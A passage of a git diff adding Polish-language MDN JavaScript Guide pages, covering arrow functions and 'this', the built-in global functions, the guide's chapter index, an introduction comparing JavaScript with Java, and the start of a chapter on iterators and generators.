new object in case of a constructor, undefined in strict mode function calls, the context object if the function is called as an "object method", etc.). This proved to be annoying with an object-oriented style of programming.</p> + +<pre class="brush: js">function Person() { + // The Person() constructor defines `<code>this`</code> as itself. + this.age = 0; + + setInterval(function growUp() { + // In nonstrict mode, the growUp() function defines `this` + // as the global object, which is different from the `this` + // defined by the Person() constructor. + this.age++; + }, 1000); +} + +var p = new Person();</pre> + +<p>In ECMAScript 3/5, this issue was fixed by assigning the value in <code>this</code> to a variable that could be closed over.</p> + +<pre class="brush: js">function Person() { + var self = this; // Some choose `that` instead of `self`. + // Choose one and be consistent. + self.age = 0; + + setInterval(function growUp() { + // The callback refers to the `self` variable of which + // the value is the expected object. + self.age++; + }, 1000); +}</pre> + +<h2 id="Predefined_functions">Predefined functions</h2> + +<p>JavaScript has several top-level, built-in functions:</p> + +<dl> + <dt>{{jsxref("Global_Objects/eval", "eval()")}}</dt> + <dd> + <p>The <code><strong>eval()</strong></code> method evaluates JavaScript code represented as a string.</p> + </dd> + <dt>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</dt> + <dd> + <p>The <code><strong>uneval()</strong></code> method creates a string representation of the source code of an {{jsxref("Object")}}.</p> + </dd> + <dt>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</dt> + <dd> + <p>The global <code><strong>isFinite()</strong></code> function determines whether the passed value is a finite number. If needed, the parameter is first converted to a number.</p> + </dd> + <dt>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</dt> + <dd> + <p>The <code><strong>isNaN()</strong></code> function determines whether a value is {{jsxref("Global_Objects/NaN", "NaN")}} or not. Note: coercion inside the <code>isNaN</code> function has <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN#Description">interesting</a> rules; you may alternatively want to use {{jsxref("Number.isNaN()")}}, as defined in ECMAScript 6, or you can use <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code> to determine if the value is Not-A-Number.</p> + </dd> + <dt>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</dt> + <dd> + <p>The <code><strong>parseFloat()</strong></code> function parses a string argument and returns a floating point number.</p> + </dd> + <dt>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</dt> + <dd> + <p>The <code><strong>parseInt()</strong></code> function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral systems).</p> + </dd> + <dt>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</dt> + <dd> + <p>The <code><strong>decodeURI()</strong></code> function decodes a Uniform Resource Identifier (URI) previously created by {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or by a similar routine.</p> + </dd> + <dt>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</dt> + <dd> + <p>The <code><strong>decodeURIComponent()</strong></code> method decodes a Uniform Resource Identifier (URI) component previously created by {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} or by a similar routine.</p> + </dd> + <dt>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</dt> + <dd> + <p>The <code><strong>encodeURI()</strong></code> method encodes a Uniform Resource Identifier (URI) by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).</p> + </dd> + <dt>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</dt> + <dd> + <p>The <code><strong>encodeURIComponent()</strong></code> method encodes a Uniform Resource Identifier (URI) component by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).</p> + </dd> + <dt>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</dt> + <dd> + <p>The deprecated <code><strong>escape()</strong></code> method computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} instead.</p> + </dd> + <dt>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</dt> + <dd> + <p>The deprecated <code><strong>unescape()</strong></code> method computes a new string in which hexadecimal escape sequences are replaced with the character that it represents. The escape sequences might be introduced by a function like {{jsxref("Global_Objects/escape", "escape")}}. Because <code>unescape()</code> is deprecated, use {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} instead.</p> + </dd> +</dl> + +<p>{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</p> diff --git a/files/pl/web/javascript/guide/index.html b/files/pl/web/javascript/guide/index.html new file mode 100644 index 0000000000..c4d51fad14 --- /dev/null +++ b/files/pl/web/javascript/guide/index.html @@ -0,0 +1,122 @@ +--- +title: Przewodnik JavaScript +slug: Web/JavaScript/Guide +tags: + - JavaScript + - Przewodnik JavaScript +translation_of: Web/JavaScript/Guide +--- +<div>{{jsSidebar("JavaScript Guide")}}</div> + +<p class="summary">Przewodnik JavaScript pokazuje jak używać <a href="/en-US/docs/Web/JavaScript">JavaScript</a> oraz pokazuje ogólny przegląd języka. Jeśli potrzebujesz wyczerpujących informacji o konkretnej funkcjonalności zajrzyj do <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript reference</a>.</p> + +<h2 id="Rozdziały">Rozdziały</h2> + +<p>Ten przewodnik jest podzielony na kilka rozdziałów:</p> + +<ul class="card-grid"> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Introduction">Wprowadzenie</a></span> + + <p><a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Where_to_find_JavaScript_information">O tym przewodniku</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#What_is_JavaScript">O JavaScript</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">JavaScript i Java</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_the_ECMAScript_Specification">ECMAScript</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Getting_started_with_JavaScript">Narzędzia</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Hello_world">Hello World</a></p> + </li> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types">Gramatyka i typy</a></span> + <p><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Basics">Podstawy składni i komentarze</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">Deklaracje</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_scope">Zakres zmiennej</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_hoisting">Podnoszenie (hoisting) zmiennej</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Data_structures_and_types">Struktury i typy danych</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Literals">Literały</a></p> + </li> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Kontrola przepływu i obsługa błędów</a></span> + <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#if...else_statement">if...else</a></code><br> + <code><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#switch_statement">switch</a></code><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Exception_handling_statements"><code>try</code>/<code>catch</code>/<code>throw</code></a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Utilizing_Error_objects">Obiekty Error</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Promises">Obietnice (Promises)</a></p> + </li> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Pętle i iteracje</a></span> + <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement">for</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#while_statement">while</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#do...while_statement">do...while</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#break_statement">break</a>/<a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#continue_statement">continue</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...in_statement">for..in</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for..of</a></code></p> + </li> +</ul> + +<ul class="card-grid"> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Funkcje</a></span> + + <p><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Defining_functions">Definiowanie funkcji</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Calling_functions">Wywołanie funkcji</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_scope">Zakres funkcji</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Closures">Domknięcia</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Using_the_arguments_object">Argumenty </a>i <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_parameters">parametry</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Arrow_functions">Funkcje strzałkowe</a></p> + </li> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Wyrażenia i operatory</a></span> + <p><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">Przypisanie</a> i <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Comparison_operators">Porównanie</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Arithmetic_operators">Operatory arytmetyczne</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators">Bitowe</a> i <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Logical_operators">logiczne operatory</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Conditional_(ternary)_operator">Operator warunkowy (potrójny)</a></p> + </li> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates">Numery i daty</a></span><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers"> Literały numeryczne</a> + <p><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object">Obiekt <code>Number</code></a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Math_object">Obiekt <code>Math</code></a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Date_object">Obiekt <code>Date</code></a></p> + </li> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting">Formatowanie tekstu</a></span> + <p><a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#String_literals">Literały String</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#String_objects">Obiekt <code>String</code></a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#Multi-line_template_literals">Literały szablonowe</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#Internationalization">Umiędzynarodowienie</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Wyrażenia regularne</a></p> + </li> +</ul> + +<ul class="card-grid"> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Kolekcje indeksowane</a></span> + + <p><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">Tablice</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Typed_Arrays">Tablice typowane</a></p> + </li> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections">Kolekcje z kluczem (Keyed collections)</a></span> + <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#Map_object">Map</a></code><br> + <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#WeakMap_object">WeakMap</a></code><br> + <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#Set_object">Set</a></code><br> + <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#WeakSet_object">WeakSet</a></code></p> + </li> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects">Praca z obiektami</a></span> + <p><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties">Obiekty i właściwości</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">Tworzenie obiektów</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_methods">Definiowanie metiod</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Gettery i settery</a></p> + </li> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Szegóły i model obiektowy</a></span> + <p><a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">OOP bazujące na prototypach</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creating_the_hierarchy">Tworzenie hierarchii obiektów</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Property_inheritance_revisited">Dziedziczenie</a></p> + </li> +</ul> + +<ul class="card-grid"> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iteratory i generatory</a></span> + + <p><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterators">Iteratory</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterables">Iterables (Obiekty dające się powtórzyć)</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">Generatory</a></p> + </li> + <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming">Meta programowanie</a></span> + <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Proxies">Proxy</a></code><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Handlers_and_traps">Handlery i pułapki</a><br> + <a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Revocable_Proxy">Odwołalne Proxy</a><br> + <code><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Reflection">Reflect</a></code></p> + </li> +</ul> + +<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p> diff --git a/files/pl/web/javascript/guide/introduction/index.html b/files/pl/web/javascript/guide/introduction/index.html new file mode 100644 index 0000000000..d223e18f8b --- /dev/null +++ b/files/pl/web/javascript/guide/introduction/index.html @@ -0,0 +1,150 @@ +--- +title: Wstęp +slug: Web/JavaScript/Guide/Introduction +tags: + - JavaScript +translation_of: Web/JavaScript/Guide/Introduction +--- +<p> </p> + +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</div> + +<p class="summary">Ten rozdział służy jako wprowadzenie do języka JavaScript i omawia jego fundamentalne koncepcje. </p> + +<h2 id="Co_powinieneś_wiedzieć_by_zacząć">Co powinieneś wiedzieć, by zacząć?</h2> + +<p>Ten poradnik zakłada, że posiadasz podstawową wiedzę w takich obszarach, jak:</p> + +<ul> + <li>Koncepcja Internetu oraz sieci ({{Glossary("WWW")}});</li> + <li>Praktyczne wiadomości na temat języka HyperTextMarkup Language ({{Glossary("HTML")}})</li> + <li>Podstawowe doświadczenie w programowaniu. Jeżeli nigdy dotąd nie miałeś styczności z programowaniem, wypróbuj jeden z naszych poradników na temat języka <a href="/pl/docs/Web/JavaScript" title="/en-US/docs/">JavaScript</a>, który znajdziesz na głównej stronie.</li> +</ul> + +<h2 id="Gdzie_szukać_informacji_na_temat_języka_JavaScript">Gdzie szukać informacji na temat języka JavaScript?</h2> + +<p>Dokumentacja języka JavaScript w MDN zawiera:</p> + +<ul> + <li>Poradnik <a href="/pl/Learn">Learning the Web</a>, który zawiera informacje dla początkujących oraz wprowadza podstawowe pojęcia dotyczące Internetu, a także programowania.</li> + <li>Poradnik <a href="/pl/docs/Web/JavaScript/Guide" title="pl/Core_JavaScript_1.5_Guide">JavaScript Guide</a> (ten poradnik) służy jako przegląd możliwości i celów posługiwania się językiem JavaScript. </li> + <li><a href="/pl/docs/Web/JavaScript/Referencje" title="pl/JavaScript/Reference">JavaScript Reference</a> dostarcza szczegółowych informacji o języku JavaScript.</li> +</ul> + +<p>Jeżeli nigdy nie miałeś kontaktu z językiem Javascript, zacznij od artykułów w <a href="/pl/Learn">strefie nauki</a> i<a href="/en-US/docs/Web/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide"> JavaScript Guide</a>. Kiedy poznasz fundamentalne zasady działania języka, będziesz mógł poszerzać wiedzę dzięki <a href="/pl/docs/Web/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a>, gdzie znajdziesz kody źródłowe i szczegółowe opisy pojedynczych zagadnień.</p> + +<h2 id="Czym_jest_JavaScript">Czym jest JavaScript?</h2> + +<p>JavaScript to wieloplatformowy, zorientowany obiektowo język skryptowy, który cechuje lekkość i szybkość działania. W środowiskach developerskich może zostać połączony z konkretnymi obiektami tak, by zapewnić nad nimi łatwą i przejrzystą kontrolę.</p> + +<p>Język JavaScript zawiera standardową bibliotekę, w której zdefiniowano podstawowe elementy w postaci operatorów, struktur i instrukcji oraz obiektów takich, jak: <code>Array, Date i Math</code>. Standardowa biblioteka może być rozszerzana poprzez dodawanie nowych obiektów tak, by ułatwić programiście dopasowanie języka do jego potrzeb. Na przykład:</p> + +<ul> + <li><em>JavaScript</em> <em>po stronie klienta</em> został rozszerzony poprzez wprowadzenie mechanizmów kontroli przeglądarki i jej modelu DOM. Rozszerzenia te umożliwiają każdej aplikacji umieszczanie elementów w formularzach HTML, a także reakcję na wydarzenia wywoływane przez użytkownika, takie, jak: kliknięcie myszką, wpisywanie danych oraz nawigacja po stronie. </li> + <li><em>JavaScript po stronie serwera </em>został rozszerzony poprzez dodanie elementów, które umożliwiają komunikację z bazą danych, manipulację plikami na serwerze oraz zawierają sposoby na zapewnienie integralności informacji wymienianej między poszczególnymi elementami aplikacji. </li> +</ul> + +<h2 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript i Java</h2> + +<p>Języki JavaScript i Java cechuje pewne podobieństwo, lecz dzielą fundamentalne różnice. Kod napisany w JavaScript może początkującemu programiście przypominać język Java, ale w przeciwieństwie do niego nie jest statycznie silnie typowany. Składnia obu języków, a także niektóre konwencje, są zbliżone, dlatego początkowa nazwa języka - LiveScript - została zmieniona na: JavaScript. </p> + +<p>W przeciwieństwie do klasowego, kompilowanego systemu Javy, JavaScript jest językiem interpretowanym, opartym na małej liczbie podstawowych typów danych reprezentujących wartości numeryczne (Boolean i string). Obiektowość w JavaScript bazuje na prototypach, które zapewniają dynamiczne dziedziczenie. Umożliwia to programiście wybieranie konkretnych metod i atrybutów, które mają zostać przekazane. Jest to spora różnica względem Javy, która opiera się na modelu dziedziczenia, w którym główną rolę odgrywają klasy. Różnica między językami zachodzi też w podejściu do funkcji - w JavaScript mogą być one atrybutami obiektów, co powoduje, że traktowane są wtedy jako słabo typowane metody. </p> + +<p>JavaScript daje programiście większą wolność w tworzeniu kodu - nie musimy deklarować wszystkich zmiennych, klas ani metod. Nie musimy też zastanawiać się, czy dana metoda powinna być prywatna, publiczna czy chroniona, ani tworzyć interfejsów. Typy zmiennych, parametrów i zwracanych przez funkcje wartości nie są formalnie zdefiniowane. </p> + +<p>Java służy do budowania aplikacji opartych na klasach, które cechują się szybkością działania i zachowaniem typów danych. Oznacza to, że nie możemy przekazać zmiennej typu integer jako referencji do obiektu, ani uzyskać dostępu do pamięci przez uszkodzenie kodu wykonywalnego Javy. Klasowy model obiektowości w Javie oznacza, że programy zbudowane są wyłącznie z klas i ich metod, a dziedziczenie zaimplementowane w tym języku wymaga ściśle powiązanych ze sobą hierarchi. Wszystkie te cechy sprawiają, że Java jest o wiele bardziej skomplikowanym i wymagającym językiem w porównaniu do JavaScript. </p> + +<p>JavaScript jest duchowym spadkobiercą małych, dynamicznie typowanych języków, takich, jak: HyperTalk i dBASE. Te języki skryptowe oferują narzędzia bardziej dostępne dla przeciętnego programisty ze względu na prostą składnię, wyspecjalizowane funkcjonalności i minimalne wymagania w celu tworzenia nowych obiektów. </p> + +<table class="standard-table"> + <caption>JavaScript w porównaniu do Javy</caption> + <thead> + <tr> + <th scope="col">JavaScript</th> + <th scope="col">Java</th> + </tr> + </thead> + <tbody> + <tr> + <td> + <p>Zorientowany obiektowo. Bez rozróżnienia na typy obiektów. Dziedziczenie poprzez mechanizm prototypów, atrybuty i metody klas mogą być dodawane dynamicznie.</p> + </td> + <td> + <p>Zorientowany klasowo. Obiekty podzielone są na klasy i instancje, z dziedziczeniem poprzez ich hierarchie. Atrybuty i metody klas nie mogą być dodawane dynamicznie. </p> + </td> + </tr> + <tr> + <td> + <p>Typy zmiennych nie są deklarowane (dynamiczne typowanie).</p> + </td> + <td> + <p>Typy zmiennych muszą być deklarowane (statyczne typowanie)</p> + </td> + </tr> + <tr> + <td> + <p>Nie może automatycznie zapisywać danych na dysk twardy.</p> + </td> + <td> + <p>Może automatycznie zapisywać dane na dysk twardy.</p> + </td> + </tr> + </tbody> +</table> + +<p>Więcej informacji na temat różnic między tymi językami znajdziesz w rozdziale: <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model" title="JavaScript/Guide/Details of the Object Model">Details of the object model</a>.</p> + +<h2 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript i specyfikacja EMCAScript</h2> + +<p>Specyfikacja JavaScript definiowana jest przez <a class="external" href="http://www.ecma-international.org/">Ecma International</a>, stowarzyszenie zajmujące się standaryzacją systemów informatycznych w Europie. Owa standaryzacja ma na celu zapewnienie jednolitości języka, który powinien zachowywać się w ten sam sposób w każdej aplikacji wspierającej ten standard. Wersja JavaScript działająca według tej specyfikacji zwana jest ECMAScript. Otwarty standard zapewnia możliwość wprowadzania przez firmy swoich implementacji w oparciu o podstawowy model. Pełna specyfikacja standardu ECMAScript została zaprezentowana w dokumencie ECMA-262. Aby dowiedzieć się więcej o wydaniach języka JavaScript i specyfikacji ECMAScript, zajrzyj do artykułu: <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a>.</p> + +<p>Standard ECMA-262 został zatwierdzony przez <a class="external" href="http://www.iso.ch/">ISO</a> (Międzynarodowa Organizacja Normalizacyjna) jako ISO-16262. Specyfikację możesz znaleźć na <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">stronie stowarzyszenia ECMA</a>, jednakże nie przedstawia ona modelu DOM, który został ustandaryzowany przez <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. Model ten pełni bardzo ważną funkcję, gdyż definiuje, w jaki sposób elementy dokumentu HTML dostępne są dla twoich skryptów. By znaleźć więcej informacji o różnych technologiach wykorzystywanych podczas pracy z językiem JavaScript, zerknij na artykuł: <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a>.</p> + +<h3 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">Dokumentacja JavaScript kontra specyfikacja ECMAScript</h3> + +<p>Specyfikacja ECMAScript precyzuje zestaw wymagań dla implementacji ECMAScript, co przydaje się, gdy chcemy zgodnie z obowiązującym standardem zaimplementować funkcje języka lub stworzyć własny silnik (taki, jak SpiderMonkey w Firefox lub v8 w przeglądarce Chrome).</p> + +<p>Jednakże dokument ECMAScript nie powstał po to, by pomóc programiście w pisaniu aplikacji - w tym celu wykorzystuj dokumentacje JavaScript.</p> + +<p>W specyfikacji ECMAScript używana składnia i terminologia początkowo mogą być obce dla programisty JavaScript, natomiast nadal jest to ten sam język. JavaScript wspiera każdą funkcjonalność, której ramy zostały nakreślone w tej specyfikacji. </p> + +<p>Dokumentacja JavaScript opisuje wszystkie aspekty języka, które mogą być wykorzystane bezpośrednio przez programistę. </p> + +<h2 id="Pierwsze_kroki_w_języku_JavaScript">Pierwsze kroki w języku JavaScript</h2> + +<p>By zacząć pracę z JavaScript, jedyne, czego potrzebujesz, to nowoczesna przeglądarka. Ten poradnik wykorzystuje funkcje, które są dostępne tylko w najnowszych wersjach Firefox, dlatego zadbaj o to, by twoja wersja przeglądarki była zaktualizowana. </p> + +<p>W Firefox wbudowane zostały dwie funkcje znacząco ułatwiające eksperymentowanie z JavaScript - mowa tutaj o konsoli przeglądarki i brudnopisie. </p> + +<h3 id="Konsola_WWW">Konsola WWW</h3> + +<p>Konsola pozwala obserwować informacje o odwiedzanej przez ciebie stronie i umożliwia wykonywanie skryptów przez wiersz poleceń. </p> + +<p>By otworzyć konsolę, z panelu opcji wybierz: "Narzędzia", a następnie: "Konsola WWW" - wtedy powinna się pojawić na dole twojego okna. Pasek wiersza poleceń, w którym możesz uruchamiać swój kod JavaScript, umieszczony jest na dole konsoli, w miejscu wskazanym na obrazku:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/7363/web-console-commandline.png" style="display: block; margin-left: auto; margin-right: auto;"></p> + +<h3 id="Brudnopis">Brudnopis</h3> + +<p>Konsola WWW jest świetna, kiedy chcemy tworzyć pojedyncze linijki skryptów, ale pomimo tego, że możliwe jest wykonywanie dłuższego kodu, rozwiązanie to nie jest wygodne. Konsola nie daje możliwości zapisywania fragmentów kodu, którego używamy. W tym przypadku do pomocy wykorzystamy brudnopis, który stworzony został do pracy z bardziej skomplikowanymi przykładami.</p> + +<p>By otworzyć brudnopis, z panelu opcji wybierz: "Narzędzia", a następnie: "Brudnopis" - powinno się otworzyć nowe okno przeglądarki wraz z edytorem tekstu, który umożliwia pisanie i tworzenie kodu JavaScript bezpośrednio w przeglądarce. Możesz także zapisywać i ładować swoje skrypty prosto z dysku twardego. </p> + +<p>Po naciśnięciu przycisku: "Wyświetl", znajdującego się w górnej części okienka, twój kod zostanie wykonany i umieszczony w edytorze jako komentarz:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/7365/scratchpad.png" style="display: block; margin-left: auto; margin-right: auto;"></p> + +<h3 id="Hello_world">Hello world</h3> + +<p>Swoją przygodę z językiem JavaScript rozpocznij od otworzenia konsoli WWW lub brudnopisu i napisania pierwszego skryptu: "Hello world".</p> + +<pre class="brush: js">function greetMe(user) { + return "Witaj " + user; +} + +greetMe("Alice"); // "Witaj Alice" +</pre> + +<p>Na następnych stronach poradnika wprowadzimy cię w składnię JavaScript i pokażemy zestaw możliwości dostarczanych przez ten język, by umożliwić ci napisanie bardziej skomplikowanych aplikacji.</p> + +<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p> diff --git a/files/pl/web/javascript/guide/iterators_and_generators/index.html b/files/pl/web/javascript/guide/iterators_and_generators/index.html new file mode 100644 index 0000000000..236d360a92 --- /dev/null +++ b/files/pl/web/javascript/guide/iterators_and_generators/index.html @@ -0,0 +1,165 @@ +--- +title: Iterators and generators +slug: Web/JavaScript/Guide/Iterators_and_Generators +tags: + - JavaScript + - Przewodnik +translation_of: Web/JavaScript/Guide/Iterators_and_Generators +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</div> + +<p class="summary">Przetwarzanie każdego elementu w kolekcji jest bardzo popularną operacją. JavaScript daje wiele możliwości iteracji przez elementy kolekcji: od prostej pętli {{jsxref("Polecenia/for","for")}} do {{jsxref("Obiekty/Array/map","map()")}} i {{jsxref("Obiekty/Array/filter","filter()")}}. Iteratory i Generatory wnoszą pojęcie interacji bezpośredno w natywne funkcjonalności języka i dają możliwość do dostosowania zachowania pętli {{jsxref("Polecenia/for...of","for...of")}}.</p> + +<p>Zobacz także:</p> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li> + <li>{{jsxref("Polecenia/for...of","for...of")}}</li> + <li>{{jsxref("Polecenia/function*","function*")}} i {{jsxref("Obiekty/Generator","Generator")}}</li> + <li>{{jsxref("Operatory/yield","yield")}} i {{jsxref("Operatory/yield*","yield*")}}</li> +</ul> + +<h2 id="Iteratory">Iteratory</h2> + +<p>Obiekt jest <strong>iteratorem</strong> kiedy wie jak uzyskać dostęp do elementów z kolekcji pojedynczo, podczas gdy śledzi swoją obecną pozycję w tej sekwencji. W języku JavaScript iterator jest obiektem który dostarcza metodę next(), która zwraca następny obiekt w tej sekwencji. Ta metoda zwraca obiekt z dwoma właściwościami: <code>done</code> i <code>value</code>.</p> + +<p>Po utworzeniu, obiekt iteratora może być użyty jawnie przez powtarzanie wywołania metody next().</p> + +<pre class="brush: js">function makeIterator(array) { + var nextIndex = 0; + + return { + next: function() { + return nextIndex < array.length ? + {value: array[nextIndex++], done: false} : + {done: true}; + } + }; +}</pre> + +<p>Po inicjalizacji metoda next() może być wywołana w celu dostępu do par klucz-wartość z obiektu:</p> + +<pre class="brush: js">var it = makeIterator(['yo', 'ya']); +console.log(it.next().value); // 'yo' +console.log(it.next().value); // 'ya' +console.log(it.next().done); // true</pre> + +<h2 id="Generatory">Generatory</h2> + +<p>Pomimo tego, że iteratory są przydatnym narzędziem, ich utworzenie wymaga ostrożnego podejścia, ze względu na potrzebę jawnego utrzymywania ich wewnętrznego stanu. 